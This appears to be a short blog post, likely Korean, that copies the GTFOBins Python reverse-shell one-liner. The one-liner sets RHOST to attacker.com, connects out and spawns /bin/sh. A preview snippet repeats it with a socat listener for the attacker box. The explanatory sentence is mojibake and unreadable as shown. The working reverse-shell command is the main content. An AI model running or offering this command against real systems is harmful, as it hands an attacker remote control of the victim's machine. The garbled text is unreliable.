728x90
export RHOST=attacker.com
export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
๋๋ถ๋ถ์ ์ ๋์ค ๊ณ์ด์ OS(๋ฆฌ๋
์ค, ๋งฅos)์๋ python2๋ ์ค์น๊ฐ ๋์ด์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ผ๋ ๋ณ๋์ ์ค์น ์์ด ๋ช
๋ น์ด๋ง์ผ๋ก ์ฌ์ฉ ๊ฐ๋ฅํ๋ค.
์ถ์ฒ:
https://gtfobins.github.io/gtfobins/python/#reverse-shell
python | GTFOBins
Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s
gtfobins.github.io
728x90